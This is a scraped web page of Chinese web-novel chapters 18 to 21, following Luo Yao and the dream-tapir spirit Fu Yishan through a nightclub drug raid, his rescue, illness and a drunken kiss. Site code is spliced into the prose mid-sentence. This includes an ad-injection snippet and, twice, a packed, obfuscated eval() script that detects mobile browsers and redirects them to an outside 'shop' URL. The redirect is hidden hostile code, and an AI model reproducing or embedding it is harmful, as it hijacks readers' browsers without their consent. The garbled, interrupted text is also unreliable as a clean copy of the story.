面对神女的质问,傅以山眉头不自觉拧在了一起,双眼紧盯着某一处,呼吸变得急促起来,不断想要在脑中搜寻出自己还未找到的关键线索。 那一年到底还发生了什么事情?进入王都之后还发生了什么事情?他又是为何失忆? 自从他被上尊收留的那日起,他就一直听从上尊的命令,而如今他竟然已经想不起来自己上一次见到上尊是何时,在何地? 他真的只是为了找回记忆而一直留在人间吗? 一连串的问题伴随着傅以山的记忆纷至沓来,他或许想起来的事情还是不够多。 18. 联系 自从颜子追回自己的钱之后,就一直想请傅以山吃饭。 可整整过去了三天,洛瑶都联系不到傅以山。 手链她摘了,微信也发了,电话也打了。 他会不会是出事了? 洛瑶想起自己见到傅以山的最后一面,他的情况看起来不太好,那苍白的面色像是受伤了。 脑海中思索了一番傅以山在人间的一些人际关系,洛瑶最终还是亲自跑了一趟那家地处偏远的博物馆。 陈馆长说傅以山基本不来博物馆,上一次他说自己要接受采访让人十分意外。 “那您知道有什么方式可以联系到他吗?”洛瑶将自己的担忧讲给陈馆长听,希望他有办法联系到傅以山。 “您刚说您有一条手链,平时可以召唤傅先生?”陈馆长推了推眼镜,眼底泛起细微波澜。 洛瑶摘下手链递给陈馆长。 陈馆长却没有接,只是若有所思地盯着。 “我没有骗您,原先只要我摘下手链,傅以山就会出现,可现在却不会了,不知道是这个法器失灵了,还是傅以山出事了。”洛瑶担心陈馆长以为她说假话骗他,赶紧解释道。 “我见过这条手链。”陈馆长似乎是斩钉截铁地说道,“傅先生曾说这条手链是一个对他来说十分重要之人送给他的。” 十分重要之人指的是古代“洛瑶”吗?梦里的画面再度出现在洛瑶的记忆里,她僵直地收回手。 关于傅以山和古代“洛瑶”之间的事情,目前都还只有断断续续的一些片段,她能感受到古代“洛瑶”对傅以山的喜欢之情,却看不明白傅以山对其究竟是怎样一种感情。 他们有时像师徒,有时又像是朋友一样相处。 至于有没有男女之情,仅凭她所梦到的那些无从得知。 “洛小姐,你不必担心,傅先生应该没有大碍。”陈馆长出声打断了洛瑶胡乱纷飞的思绪。 洛瑶抬起头,困惑地眨眨眼。 陈馆长轻咳一声,嘴角略显僵硬地说道:“事实上,傅先生今天早上和我联系过。” “他和你说了什么?”洛瑶压抑着心中那一点点的失落,眼角眉梢还是忍不住流露出惊喜之情。 “是一些关于博物馆的规划建设问题。”陈馆长在洛瑶的注视下,感觉所处环境的空气变得有些稀薄。 “比如?”洛瑶追问道。 “比如停车场的灯光更换,如何更好地引导参观者参观之类的。”陈馆长擦擦额角的冷汗,努力假笑着回答。 事到如今,洛瑶再不明白就是傻子一个了。 她挑起眉,微眯起双眼看向自己手里的手链,半带轻笑地说道:“所以他有空打电话给你交代这些事,却连回个信息给我的时间都没有?” 陈馆长一下就猜到洛瑶的想法,赶紧帮傅以山找补:“或许傅先生是真的有事要忙。” “行吧,陈馆长。”洛瑶深吸一口气,重新将手链戴上,假装无事发生地说道:“如果傅以山再联系你,你就让他来找我,我会亲自把这条‘重要之人’的手链还给他。” “什么?”陈馆长很是意外和无措。 “反正这手链现在也没用了,毕竟是‘重要之人’的,我又不能扔掉,那就还他呗。”洛瑶一口气说完,便头也不回地走了,高跟鞋踩在地上发出强劲有力的“咚咚”声。 * “好你个傅以山,手机是摆设吗?”回到家中之后,洛瑶不死心地又打了个电话给傅以山,可同样还是无人响应。 洛瑶气得把手机扔进了身旁的沙发里。 见过陈馆长之后,不夸张地说,洛瑶感觉自己像是在大冬日里被人当头泼了一盆凉水。 亏她还在担心他的安慰,他倒好,有空联系别人,却唯独忽略她的信息。 这是几个意思? 先前巴巴来找她,那么诚恳地说自己要找记忆,现在是打算放弃了吗? “果然,男的没一个靠谱的。”颜子从沙发上义愤填膺地跳起来,一把勾住洛瑶的胳膊,摇晃着说:“既然联系不上他,那就我们两个人一起去庆祝!” 这几天,颜子一直留宿在洛瑶家,美其名曰要用欢乐的闺蜜时光忘却失恋的痛苦,事实上是她有点习惯了原来那个小骗子天天照顾起居的日子,一个人在家懒得烧东西吃,也不想整理家务。 “庆祝啥?”洛瑶被颜子突如其来的一肘子撞得眼冒金花。 颜子不顾她的挣扎,直接推着她的双肩向外走,“当然是庆祝我恢复单身,脱离渣男!” 和洛瑶这种宅女不同的是,颜子平时都会收到各种局的邀约,除非她谈恋爱,局会变少一点,不然的话,只要有一天晚上不出门,她就浑身难受。 为了平复心情,在家几天的颜子终于还是控制不住自己想要放飞自我的心,硬拽着洛瑶一起进了一家夜店。 只有两个人庆祝不免有些惨淡,颜子还非常洒脱地订了一间大包间,叫了一大堆狐朋狗友过来。 一开始,一群人在自己的包间里玩儿,后来玩嗨起来,索性打开了包间门,迎来送往了更多的人。 年轻的男男女女依靠着酒精麻醉自己的神经,试图洗脱一整天或者沉积已久的疲惫和幽怨,各个活力十足。 顶级I人的洛瑶一向不太适应这种场面,只能找个安静的角落躲着,趁机开溜。 “来!洛瑶!一起再喝一个!”已经有点喝大的颜子举起自己的第十杯啤酒,和洛瑶碰杯。 才喝了两杯,洛瑶就有点头晕,她护住自己的酒杯,同时伸手去捂住颜子的杯口,不让她再倒酒,“差不多行啦颜子,我想回家了。” 颜子摇晃着张开双臂,挡开洛瑶,提高音量:“不行!这才哪到哪儿呢?我还没喝够呢!” 说完,颜子站起身,去别桌找能陪她碰杯的人了。 洛瑶起身想拦住她,可却被一条腿挡住了去路。 “小姐姐别着急走啊,我这儿有好东西给你。”说话之人的语气带着一股子本不属于他这个年纪的油腻。 洛瑶打了个酒嗝,恢复了几分清明,抬头望去。 只见对方是个发型有点杀马特的年轻男人,两只耳朵上都戴了耳饰,脖子上纹了半边哥特字母,眼睛里带了浅绿色的美瞳,看不出原本的瞳色,在昏暗的灯光下显得有些颓然无神。 “麻烦请让一下。”洛瑶心生警惕,想直接绕过他走,可对方还是不死心上前一步。 “来都来了,小姐姐不想要点刺|激的吗?”年轻男人鬼鬼祟祟地凑近,摊开手掌心,上面露出一小包白色粉末。 洛瑶瞬间就明白了这是什么东西,一颗心瞬间被冰冻住了似的,后背也开始发凉。 从小到大,洛瑶都没逃过课,进入社会之后也一直是个遵纪守法的良好公民,此时心中出于条件反射就开始警铃大作 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 “我不需要,我有急事要走了。”紧张的情绪一下子揪住洛瑶所有的神经,仅存的清明让她立马反应过来她需要离面前之人越远越好。 可她不管往哪个方向走,都被人死死堵住。 “小姐姐别怕啊,听我的,只要尝试一次你就会爱上。”年轻男人没有眼力见地还想要贴上来。 爱你个大头鬼,洛瑶在心里默默咒骂,低垂下头,正在想着要如何应对,巧恰看到了对方的一双鞋。 他竟然穿的是洞洞鞋,想也没有多想,洛瑶就抬起脚准备往对方的脚用力踩下去。 “我去!警|察来了。” 此时不合时宜的大声疾呼在人群的某一处响了起来,场面一度变得很是混乱起来。 洛瑶的脚离地面就差那么一点点距离之时,年轻男人大喊一句“卧|槽”,像被火烧到尾巴的老鼠,报头乱窜。 不止是他,包间里估计有好几个类似年轻男人的同伙,还有一些不明所以的人也开始感到恐慌,急着要逃离。 洛瑶本来想找到颜子一起跑,可人实在是太多了,她被挤在人群中,连呼吸都感觉困难起来。 万一要是刚刚那个男的把粉洒出来了,这个房间里的人都得遭殃,洛瑶不想无缘无故被抓进去审问,恐惧和害怕包裹住她的心脏,让她不顾一起向外逃跑。 突如其来的变故令原本喧闹的夜店变得像一处多方混战的残酷战场,到处充斥着尖叫声和玻璃瓶摔碎的声音,洛瑶捂着耳朵跟着几个熟客去找夜店的后门。 就在他们快要到达后门的时候,前头的人发现门似乎是打不开了。 洛瑶被堵在人群中间,进退两难,不知道如何是好。 后面的人不相信门打不开,执意还要挤上前,粗鲁地将洛瑶往外推开。 因为紧张的缘故,洛瑶本来正死死用自己的左手握在右手手腕上,力的角度被撞歪,扯开了手链。 眼见着那条琉璃珠子手链不知道要被甩到哪里去,从天而降的一只骨节分明的手稳稳地在半空之中将其抓住,另外还有另外一股力量环住了洛瑶的肩膀。 洛瑶眼睛一闭一睁的瞬间,人已经从昏天暗地的夜店回到了灯火通明的家里,腿一下就控制不住软了,站都站不住,一屁|股坐到了地上。 熟悉的暖黄灯光刺|激了下洛瑶的双眼,重新见到温暖的氛围环境让她不禁热泪盈眶,忍不住“哇”一声哭出来。 一袭黑色长款大衣的傅以山静静站在一旁,看着茫然无措的洛瑶,不禁想到了从前。 记忆中的那个洛瑶是一个十分乖顺的徒弟,但偶尔也会有犯错的时候,在她刚开始拜师学艺之时曾经不小心摔碎过他的砚台。 那天他其实没有很生气,但她却自责不已,自行举着戒尺,跪在他面前,求他责罚他。 “对不起师父,都是我的错,是我不小心摔碎的。”洛瑶连鼻尖都哭得红红的,晶莹的泪珠还是不断从眼角滚落,一双明眸被洗刷地更加透亮。 傅以山不忍心责怪她,声线清冽低缓道:“起来吧洛瑶,既然你已经承认了错误,为师便原谅你了。” 时间如同被定格,越是回忆,越是清晰,画面仿佛真实地在眼前展开,记忆和现实中的洛瑶同时抬起了头,撞进了傅以山的眼睛里。 傅以山眉眼微动,手指不经意往里收紧,然后向洛瑶伸出手,“先起来吧,现在已经安全了。” 19. 侥幸 听见声音的洛瑶像是因为缺少机油而卡住的机器,迟钝地抬起头,双手支撑在双膝上,眼睫轻颤,眼眸里还酝着晶莹。 透过白茫茫的水汽,她勉强认清了眼前之人。 不是傅以山还能是谁,她所认识的人类……哦不,是物种,也就他有带人瞬间移动的能力。 可她心里还是没由来一阵委屈,挥手将他放在她眼前的手打开,倔强地凭借自己的力量,用手撑地起身。 傅以山还想上前扶她,可她熟视无睹,在起身之后,看了眼自己的手腕。 手链已经不在,应该已经物归原主了。 “我没事了,你走吧。”洛瑶语气冷淡地说道。 没想到傅以山下一秒突然强势地抓过她的手,试图把手链戴回到她的手腕上。 “那种地方你还是别去了,戴好手链。”傅以山说。 洛瑶挣扎着不让他戴,负气把手链往边上一扔,脸上染上几分愠色,情绪失控道:“你凭什么管我?” 傅以山胸膛不受控制地起伏,深吸一口气道:“是出什么事了吗?” 看着傅以山一副无辜又无措的样子,洛瑶更加生气了,她咬牙切齿地说:“你不是不想理我吗?又出现干什么?手链我还给你,不用再来找我了。” “你误会了,我没有不想理你。”傅以山蹲下身,把手链拾起来,手指摸索着上面的珠子,眼里透着捉摸不透的情绪。 那日和神女谈话之后,傅以山便想尽各种办法试图联系上尊,他想亲自问问上尊,当年之事到底是怎样的一个结局。 他这几日一闭眼就是当年亲眼目睹洛瑶死亡的场景,心痛不已的感觉让他不知道该如何现在活生生站在他面前的洛瑶。 他想,那时候的洛瑶该有多么痛苦,才会选择自我了结的这种方式,如果他现在再留在她身边,当她记起一切的时候,会不会再次陷入痛苦之中? “我梦到过。”洛瑶吸了吸鼻子,哽咽道:“这个手链是古代洛瑶给你的,她是你的好徒弟,可我不是,你不用对我这么好。” 从傅以山蹲下捡手链开始,洛瑶一直在一旁默默注视着他,她能感觉到他看手链时所露出的那种非比寻常的哀伤,很明显,他已经记起了自己和古代洛瑶之间的往事。 古代洛瑶对他来说是重要之人,那她呢?她对于他来说是不是只是替身?或者是找回记忆的工具人? “她是她,你是你,我从来没有将你当作是她。”傅以山的眼眸渐渐深沉,灯影绰绰,在他的眼底泛起涟漪。 在静谧的对视之中,周遭的空气都仿佛静止了,让人一时无法再探究对与错,只想在这一刻沉溺其中。 洛瑶捂着自己快要处于狂乱状态的心脏,在被完全蛊惑之前急忙开口问道:“你是不是已经找回记忆了?” “我确实是想起了一些事情。”既然傅以山来找洛瑶,他就没打算要隐瞒她,只是—— “但应该还有一部分重要的记忆需要找回来,我这几天便是在试图联系上尊。”傅以山语气真挚平缓地解释道。 洛瑶的大脑飞速运转了几秒钟,冒出了一个非常可怕的想法,她不受控制地后退一步,捂嘴道:“该不会是那时候洛明志带着洛瑶逃跑之后,伙同南夏的人把你害成失忆?” 傅以山显然一下没反应过来洛瑶的跳脱思维,刚想开口解释。 洛瑶满脸惊恐地摆手补充道:“冤有头债有主,是他们害你,不是我,我知道你大人有大量,肯定不会为难我的是吧?” 沉默犹如一张大网,网住了时间。 片刻之后,傅以山莫名笑了,肩膀微颤,好半天才说:“你觉得他们有这么大能耐?况且,洛瑶怎么会害我?” 洛瑶想了想,梦里出现过的那个洛瑶确实经常像个花痴似的,崇拜地看着傅以山,怎么看也不像是会害傅以山的人。 看来事情并不是她想的这样。 松下一口气后,洛瑶往旁边的沙发顺势躺了下去,身心俱疲过后开始大彻大悟,“那我就放心了。” 傅以山无声叹息,温柔而又纵容的眼神中带着一丝无可奈何。 他走到洛瑶身边,蹲下身,轻轻托住她挂在沙发扶手边的手腕,将琉璃手链重新戴上去。 “对不起洛瑶,我应该要回你的信息,我以前没用过手机,不太懂人类之间的这种信息交流,以后会注意的。”傅以山说。 洛瑶侧眼看着他,无法马上理解,只是喃喃道:“哦,差点忘了你是梦貘。” 从这个角度看过去,傅以山的五官全貌一览无余,他的眼睛盛着淡雅如雾的星光,英挺的鼻梁和精致的唇线弧度像是为他量身定制,让他抿唇的样子更显矜贵淡然。 不知是因为心动还是因为酒精在作祟,洛瑶不禁抬起手,用手指缓缓描摹着他眉眼的轮廓。 此时洛瑶终于有点理解为什么现在有那么多人会三观跟着五官走了。 看着傅以山这一张脸,她突然好像气焰全消了。 “要是你只是个普通人类帅哥该有多好。”洛瑶发出一声微不可闻的叹息,然后便眼皮沉重地闭了起来,睡着了。 傅以山若有所思地看着洛瑶看了好一会儿,他感觉自己脸上仿佛还停留着洛瑶指尖的热气。 也不知道是不是因为蹲的时间有点久,等他重新站起来的时候,手脚都有点微微发麻, 他弯下腰,一手搭在洛瑶的颈下,一手穿过她的膝盖窝,将她横抱起来。 受了惊吓又跑了一路的洛瑶睡得很沉,再加上先前喝了几杯,压根就是毫无知觉地被傅以山一路抱到了房间床上。 傅以山动作轻柔地帮洛瑶掖好被角,关灯离开了房间。 * 这是一个整夜无梦的夜晚,等到清晨的曙光照亮进房间许久之后,洛瑶才缓缓睁开眼睛。 顺着条件反射似的习惯,她本来想伸出手揉下眼睛,却感觉到动作受阻,手上好像被什么东西压着。 危险意识刹那冲进大脑,让她惊觉地从床上坐起,一眼便看到了被她甩到一旁的一只手臂,而手臂的主人正是傅以山。 傅以山正在以一种奇怪的姿势倒在洛瑶床边,他的手臂一动不动地搭在她的被子上,头枕着床沿,身体歪靠着,腿脚的摆放看起来并不舒适。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13968305|147475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “傅以山,你醒醒,别吓我。”洛瑶拍了拍他的肩膀,他也没要任何要醒来的意思。 一阵没由来的惶恐从洛瑶心底滋生出来,她把手背搭在傅以山的额头,显然要比正常体温高出很多。 说起来,这并不是傅以山第一次晕倒了,可洛瑶却仍是不知该如何救治他,只好先按照人类的办法,将他挪到床上,给他进行物理降温,顺便再准备点粥和药。 就在她煮粥的过程中,颜子打来了电话。 “姐妹,你没事吧?昨晚上吓死我了。”颜子一副虚脱的口吻。 洛瑶关了火,扶额道:“你说说看这叫个什么倒霉事,我这两次跟你出去咋都这么惊心动魄?” “唉,我也不知道啊,最近点背吧,要不我们下次去趟寺庙吧?” “去寺庙干嘛?” “去晦气啊,说不定是我们最近惹上什么脏东西了。” 洛瑶心中暗暗叫屈,她无意识地朝自己的房间门看了眼,换了只手接电话,“也有可能不是我们惹的,是主动找上门的。” “对了,你后来怎么逃出来的?” “傅以山来找我了。” “我去,他终于出现了啊,怎么样怎么样,你们是不是谈了?”颜子的语气里透着一股期待八卦的兴奋。 洛瑶打开锅盖,拿起大勺子搅动着,检查粥的情况,淡淡道:“谈了,他说不是故意不回消息的。” “就这?”颜子失望地提高了音量。 “那还能谈什么?”洛瑶耸耸肩。 “我是问你们确定男女朋友关系了没?是不是在谈恋爱了?”颜子像个啄木鸟似的快速输出。 洛瑶被她听愣住,打了个冷嗝,“啊”出了一个长音。 “别想瞒我,之前他不回你的消息,你就像等不到男朋友回复的女朋友,昨天他来找你,就像男朋友来找女朋友认错。难道不是吗?”颜子用相当有哲理的方式分析起来。 “哪有?”洛瑶矢口否认,手一松,勺子滑进了绵软的粥里。 “听我说,男人最喜欢骗像你这样的恋爱小白了,你得小心些,别太恋爱脑,你要吊着他些。”颜子一点都不相信洛瑶的否认。 “你放心,我不喜欢他,一点都不喜……”洛瑶把掉进去地勺子重新拿在手上,轻轻敲着锅壁,边敲边转过头。 不偏不倚,刚好在这个时间,她的房门被打开了,傅以山从里面走了出来。 即使在病态之下,他的眉眼依旧清隽动人,衬衫有些松散,隐约露出锁骨,身高腿长,肩膀宽阔,举手投足间宛如明星画报。 “我先挂了,颜子。”不等颜子的反馈,洛瑶便挂断电话,火速将手机塞进裤兜里。 滚烫的热气猝不及防已经从脸烧到了耳后根,她嗖”地把目光收回,内心翻涌,假装镇定地去检查粥的情况。 在这尴尬万分的时刻,她无比庆幸此时的粥已经煮好了。 抱着“他应该没有听见吧”这样的侥幸心理,她眉梢向上轻跃,举起勺子,重新看向傅以山,露出了一个憨憨的笑容,“你醒了啊?要不要来喝点粥?” 20. 男神 前一晚,在洛瑶睡下之后,傅以山回到了出事的那个夜店。 夜店门口还停着警车,经过一番搜查之后,警|察已经抓住了一批人,让他们排队站在店门口,抱头数数。 边上还有很多围观群众,在闪烁的警灯之下对违法犯罪之人面露嫌弃之色,指指点点。 傅以山扫视了人群一眼,眉间渐渐聚起了一些阴云,他在人群之外,飞速移动到酒吧后门,没想到这里同样也有警车,可傅以山还是没有找到自己要找的人。 于是他便沿着酒吧附近的路径开始搜寻,终于在某一条阴暗的小巷里发现了魇昧的踪影。 已经受到魇昧蛊惑的男人蜷缩在地上,被黑暗笼罩着,过分瘦削的面容上带着狰狞的笑容,手脚都在颤抖着,手里捧着一包白色粉末。 傅以山使了法术,隔空将那人甩到一旁的墙上,用无形的力锁住他的喉。 被困在墙上的男人拼了命地挣扎,四肢并用,发出无比刺耳声音,比起人声,更像是某种野兽受到攻击发出的惨叫。 过了几秒钟,黑气不断从男人的身体里飘出,在空中盘旋着,形成一团浓稠黑雾,向傅以山发出质问:“梦貘!为什么这么多年来你一定要对我们魇昧一族赶尽杀绝?” 傅以山脑海中浮现出上尊曾经对他讲的一句话:“这世上有善意也会有恶意,但我相信终有一天善意会打败恶意。” “你们在人间为恶之时就应该想到自己的下场了。”傅以山面无表情地收回加在男人身上的法力,开始对抗那团黑雾。 黑雾被击落在地,再也动弹不得,可嘴上依旧用凄厉的声音叫喊着:“哈哈哈哈下场?我们的下场是这样,那你的呢?傅以山,你会有什么好下场呢?我们只是想变成人类,这有什么错?” 傅以山僵直住了,他想到了洛瑶刚跟他说的那句话:“要是你只是个普通人类帅哥该有多好。” 纵然思绪繁杂万千,但在关键时刻,傅以山还是记起了上次的教训,这次行动主打一个快狠准,速度将魇昧一招毙命。 本以为没有被魇昧攻击,他也会很正常地回到家中,可他还来不及回到自己家的时候就觉得全身无力,脑子像是被困在一片白茫茫的雪地之中,他环顾四周,恍如自己置身在世界末日。 人类有生老病死,梦貘却没有,可根据自然规律,生命终将会随着时间流逝,傅以山常常会想自己最终会变成什么样,当他真的要是到了那一天,他希望自己死前最后见到的一个人会是洛瑶。 因为只有在她的身边,他才会感到心安。 * “人还是不舒服吗?”见傅以山倚靠在门框边,半响都没说话,洛瑶不禁走上前,拿手在他面前晃了晃。 傅以山侧过头,往餐桌走去,沉吟道:“我没事,不用担心。” 洛瑶心里咯噔一下,她莫名有种直觉,傅以山的状态并不好。 “先喝粥吧,等会儿再量下|体温,看看退烧没有。”洛瑶赶紧去把烧好的粥端给他,还准备了一些小菜。 “你是在关心我吗?”傅以山拿起筷子,停顿住。 洛瑶像看傻子似的看着他反问道:“是我表现得不够明显吗?你可是我的救命恩人,得亏你救我那么多次,不然我早就完蛋了。” “或许你有没有想过要是没有我,你根本就不会遭遇这些危险?”傅以山抿唇一叹。 他这些天除了找上尊,想的最多的事情就是关于洛瑶,他发现要是洛瑶没有遇见他,好像就不会遇到这之后发生种种危险之事。 简言之,他的降临像是降噩运带给了无辜的她。 “你是不是刚听见我跟颜子讲的话了?我那都是瞎讲的。”洛瑶也不知道自己怎么回事,除开一小部分心虚,语气里不自觉带着急躁,生怕傅以山误会她。 傅以山抬起眼睫,眸色沉沉的凝望着洛瑶:“那你还愿意我留在你身边吗?” 洛瑶想起之前联系不到傅以山时的那种捉耳挠腮的感觉,赶紧像小鸡啄米般点了点头,“可你不要再随便玩失踪了,前几天,我差点以为你……” “以为什么?” “以为你挂了。” “挂了?是什么意思?” 洛瑶吐了吐舌头,解释道:“你还记得上回有一天晚上你晕倒在客厅里吗?当时我都不知道该不该送你去医院,你这回那么多天不理我,我就想说你是不是又在哪里晕倒了,万一要是没人及时救你怎么办?” “抱歉,害你担心了。”傅以山面露愧色,心里却产生了一种前所未有的异样感觉。 细细想来,他在人世间存活着的长长久久的时间里,他对人际关系处理都很淡薄,即使是像陈馆长这样陪伴他几十年的助手,他也自认为和他并不亲近,大多数只是工作上的往来。 可洛瑶无疑是不同的,一开始,他能感觉出来她对他的恐惧和抗拒,但现在,洛瑶刚才地那番话说的万分真切,是真的在关心他。 “你以后可别再突然消失了,这次就先原谅你了。”洛瑶坐在傅以山对面,将手边的一盘酱瓜往他的方向推了推,“先吃东西吧,这个酱瓜很好吃的。” 傅以山夹了一块吃,斯文地吃完后,微微皱眉。 “不好吃吗?”洛瑶夹起来自己尝了一块,“是这个味道啊。” 只见傅以山还是没说话,默默又把其他几碟小菜都夹了一口吃,细细品尝起来。 “怎么了嘛?哎呀,你倒是说句话啊,想急死我?”洛瑶探出身子,目不转睛地盯着傅以山的一举一动。 不稍片刻,他开口了:“我好像能吃出食物的味道了。” “什么味道?”洛瑶怔怔打量着傅以山神情的变化。 傅以山用筷子指着酱瓜说:“比如这个瓜是咸甜的。” 刚一讲完,又指着虾皮说:“这个虾皮有点腥味。” 最后指着肉松说:“入口即化,刚开始是咸咸的,吃完有点甜。” 听完傅以山像美食家一样的评论,洛瑶立马给他鼓掌表示奖励,赞叹道:“对对对,你说的味道都没有错,那看来你真的是已经恢复味觉了。” 她记得傅以山之前同她说过,他分辨不出食物的味道,吃什么都一个味。 现在要是能恢复味觉,意味着他能获得更多的快乐,是一件好事。 可在傅以山看来,他恢复味觉这件事并没有那么简单,他的身体正在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984260|147475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以某种他难以察觉的方式发生着一些改变。 比如能力的损耗,比如味觉的恢复,这些都不在他的认知范围内。 看来他需要尽快找到上尊,求证自己的一些想法。 * 颜子听说傅以山回来之后,还是想请他吃饭,狠下血本,提前预定了一家最近很火的西餐厅。 见到傅以山真人的颜子,满脸花痴,特别殷勤给他点了很多好吃的。私下偷偷摸摸给洛瑶发微信消息。 颜子:绝了,真绝了,我知道很帅,但没想到会这么帅。 洛瑶:淡定,你收敛点,别等下把人吓到。 颜子:你说的有道理。 “傅男神,还真是百闻不如一见,早就听洛瑶讲过你的英雄事迹,万万没想到你是如此文雅一个人。”颜子刚回完消息,就开口道。 这有收敛点吗?洛瑶警惕地用目光在颜子和傅以山之间徘徊。 “英雄事迹是指?”傅以山显出几分好奇的神色。 颜子冲着洛瑶眨眨眼睛,让她放心,给自己速度斟满一杯酒,举到胸前:“谢谢你出手相助,上次在夜店和这次和洛瑶一起帮我追回钱财。” “不客气,只是我向来不善饮酒……”傅以山嘴角溢出一丝苦笑。 “我帮他喝。”说时迟那时快,洛瑶直接端起手边的杯子,将满杯的啤酒一饮而尽。 一气呵成的动作,瞬间把颜子和傅以山都看愣住了。 颜子立马给洛瑶发了个信息:姐妹,你有情况啊,这家属感爆棚的节奏是怎么回事? 说实话,洛瑶刚刚也不知道自己是怎么了,怎么就那么顺嘴,说帮喝酒帮喝了。 洛瑶懊恼地拍了拍脑门,向着傅以山解释道:“你不是发烧刚好吗?还是别喝了。” 傅以山从容一笑,点了点头:“嗯,你说得对,那我不喝了。” 坐在对面吃瓜的颜子忍不住再度发信息吐槽:哟哟哟,这波狗粮我吃到了。 洛瑶感觉自己的脸像煮开的开水似的,烫得不知所措,索性羞恼地将手机翻了个面,瞪了颜子一眼,示意她别再调侃她了。 再调侃下去,这顿饭都要吃不下了,让人会恨不得挖地道逃走。 还是有点眼力见的颜子没再为难傅以山,但一个人喝酒总归是没意思,既然傅以山不能喝,那就只剩下洛瑶能奉陪。 改不了自己喜爱喝酒的本性,颜子拉着洛瑶一杯接一杯,不亦乐乎。 一顿饭下来,舍命陪君子的两个人都喝大了。 唯一清醒着的傅以山只好先开车将颜子送回家,再送洛瑶回家。 洛瑶一进家门就捂着嘴直冲向厕所,她好像从来没有尝试过一晚上喝这么多酒,胃里的翻江倒海让她难以忍耐,要不是因为她实在是不想洗车,她可能早就撑不住了。 “我去给你倒杯热水。”傅以山看着洛瑶难受地趴在马桶边上,怕她还没吐干净。 当傅以山刚准备好一杯解酒的蜂蜜水,打算给洛瑶端过去时,一转身便看到本已经走不了直线的洛瑶直挺挺站在他身后,一脸幽怨地看着他。 厨房的灯闪烁了一下,洛瑶的脸忽明忽暗,透出一丝丝诡异。 21. 喜欢 “你好些了吗?”傅以山问道,并不害怕地向前一步。 以他的感知度来说,他能感受出此时洛瑶虽然看起来面色不善,但是本心上没有什么坏心思。 洛瑶歪过头,用手指指控着他,冷不丁发问:“傅以山,你怎么在这儿?” 傅以山有些哭笑不得,反应过来人类可能喝多了会有千奇百怪的醉酒姿态,洛瑶可能就是比较奇怪的一种。 “我帮你准备了一杯蜂蜜水。”傅以山把手里的杯子递给洛瑶。 洛瑶乖乖喝完,把杯子交给傅以山,然后突然整个人身体向前倾,倒在了傅以山身上。 洛瑶整个人的重心都向前倾倒,鼻子正好撞在了傅以山的锁骨上。 一瞬间的吃痛并没能打败睡意。 洛瑶耸拉着眼皮,揉了揉脖子,调整了自己的头,找到一个舒适的位置,贴靠上去。 “我好困,想睡觉了。”洛瑶发出轻轻的呢喃。 她似乎是把他当作她的床了? 傅以山无奈扶额。 “洛瑶,还是去床上睡吧。”傅以山扶住了洛瑶的肩膀,细软的发丝落在他的手背上,他没有躲避,喉结不自觉上下浮动。 在强大的神族、妖族面前,人类的肩膀一贯来都是如此脆弱,这骨骼感觉一下就能捏碎,可就是这样一个人,在很久很久以前,那样决绝地放弃了自己的生命。 “痛!”洛瑶皱眉,指控傅以山把她的肩膀捏痛了,她抬起头,望向他的眼睛,猝不及防感受到了那里面流露出的哀伤。 作祟的酒精让她鼓起勇气抬手环住他的脖子,明明是个逾矩的动作,但洛瑶却一意孤行,还得寸进尺地问出了近些天一直困扰着她的一个问题—— “傅以山,你是不是喜欢古代洛瑶?” 这个问题,其实神女也问过傅以山,她说洛瑶这姑娘明显是对你上了心的,绝不仅是只有师徒之情。 傅以山现在并不知道在洛瑶死后发生了什么事,而通过她死前的那些记忆来看,古代洛瑶确实对于他来说是个特别的存在,可这种特别是不是男女之情,他想不起来,也不太清楚明白。 梦貘和人类不一样,上尊说妖兽天生就是缺乏感情的。 上尊教会了他做人的道理,却没法将各种各样的情感都用理性的方法展示出来。 情感向来是抽象的,需要各自独立的个体亲身经历,才能有所领悟。 古代洛瑶给了傅以山倾注一生的爱,可傅以山却不懂得如何回报,也不知道如何表达。 随着时间的流逝,呼吸时不断产生出的热气在洛瑶和傅以山之间围绕。 “啪嗒”一声,灯又一次彻底灭了。 彼此的心跳模糊了时间的界限,将他们拖入了无边无际的黑洞里,让某种带着危险的情绪生根发芽,肆意蔓延。 傅以山感到肩头忽而一重,是洛瑶重新靠在了他身上,鼻尖轻蹭到了他的颈窝,一只手还越界地顺着他额头一路向下摸索,最终停留在了他的唇。 “就算你喜欢她也没有关系,现在陪伴在你身边的人是我,我和她不一样,我不会背叛你。” 话音刚落,傅以山就感觉到自己的衣领被轻轻一扯,在他低头的那一瞬间,原本落在他唇上的指腹被更加柔软之物所取代。 这绝对是他离人类最近的距离,难以想象的距离。 在寂静的黑暗中,触觉变得格外敏锐,一呼一吸都如羽毛般轻盈,拂过相触及的唇瓣,将时间无限拉长。 等到傅以山想好要怎么向洛瑶解释古代的事情时,洛瑶已经头一歪在他肩头睡着了。 傅以山只好先将她送回了房间里。 有些事情或许等清醒时候再说会更加合适。 * “啊啊啊啊啊啊啊啊啊……”一阵惨绝人寰的大叫声划破原本安静祥和的清晨,树杈上积极觅食的麻雀被吓得扑棱着翅膀,逃命似的飞走了。 在洛瑶睡醒前的五分钟里,前一晚发生的事情走马观花般在她的脑海中重现了一遍。 